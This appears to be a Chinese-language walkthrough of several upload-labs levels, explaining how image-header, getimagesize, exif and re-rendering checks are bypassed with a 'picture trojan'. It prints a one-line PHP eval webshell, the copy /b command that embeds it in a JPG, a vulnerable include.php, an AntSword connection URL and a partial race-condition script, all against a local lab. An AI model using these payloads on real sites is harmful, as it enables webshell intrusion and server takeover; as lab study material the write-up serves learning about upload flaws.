$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
利用装有一句话木马的jpg照片,绕过后台的文件验证
图片马原理
根据下图,图片马上传后需要一个解析图片的php程序,在这里我们用到include.php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
phpinfo(); @eval($_POST['a']);?>
生成图片马 ,win10环境
copy /b shell.jpg+one.php=1.png
一个自带的文件包含脚本php(upload靶场自带include.php)1
利用include.php 解析下图片jpg,可以发现存在phpinfo
现在就是怎么用AntSword去连接图片马
构建下蚁剑playload
http://127.0.0.1/upload-labs/include.php?file=upload/upload-20.jpg
https://blog.csdn.net/qq_42311391/article/details/89477993
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
与第十三关不同之处在哪里?
判断文件是否在白名单内的做法不同
getimagesize是获取图片的大小,如果头文件不是图片会报错
image_type_to_extension函数:取得图像类型的文件后缀
未解决
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
为什么要开启php_exif模块?
exif_imagetype函数的作用是什么?
直接按照十四关的图片马上传,可以吗?
不行,直接被拦截了,这里会显示一片空白
开启
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
源码上讲了哪些东西?
这一关与前面几关不同在哪里?二次渲染具体表现在哪里?
二次渲染是这一关的最大特点,将上传的文件重新生成为新的文件,这很容易出现“图片马被打乱,重新生成一张普通的jpg文件”
上传前的图片马
上传后的图片马,一句话木马被消除了
有一种办法,在图片马文件中间添加一句话木马,但又不破坏文件
随便位置加入一句话,不行
试了好多次,都没成功
后面了解到了,直接将php代码段插入到一个图片里,对于jpg不太显示,jpg不稳定
Burp
AntSword
源码解析
原来上传的文件早在渲染前就上传成功了,只不过渲染成功or失败后,源文件会被删除掉。
渗透准备
四个文件:一句话木马php文件+一张jgp格式照片+包含一句话木马的jpg照片shell_jpg+.py文件
一句话木马php文件
phpinfo(); @eval($_POST['a']);?>
包含一句话木马的jpg照片shell_jpg
copy shell.php /b+ shell.jpg = 1.jpg
import requests
url1 = "http://127.0.0.1/include.php?file=./upload/1.jpg"
while True: # 定义死循环
html = requests.get(url1)
开始渗透
开启jpg_payload .py脚本
python "jpg_payload .py"
上传文件,burp抓包
在Repeater上放包,并查看下后台文件
后面,我尝试直接用图片马上传,发现没有二次渲染~~ ,直接用AntSword连接图片马,成功了
我发现用普通的图片马+自带的文件包含,就可以实现文件上传漏洞
参考下第十三关
参考链接:http://cn-sec.com/archives/1009470.html
https://blog.csdn.net/qwe304/article/details/125725280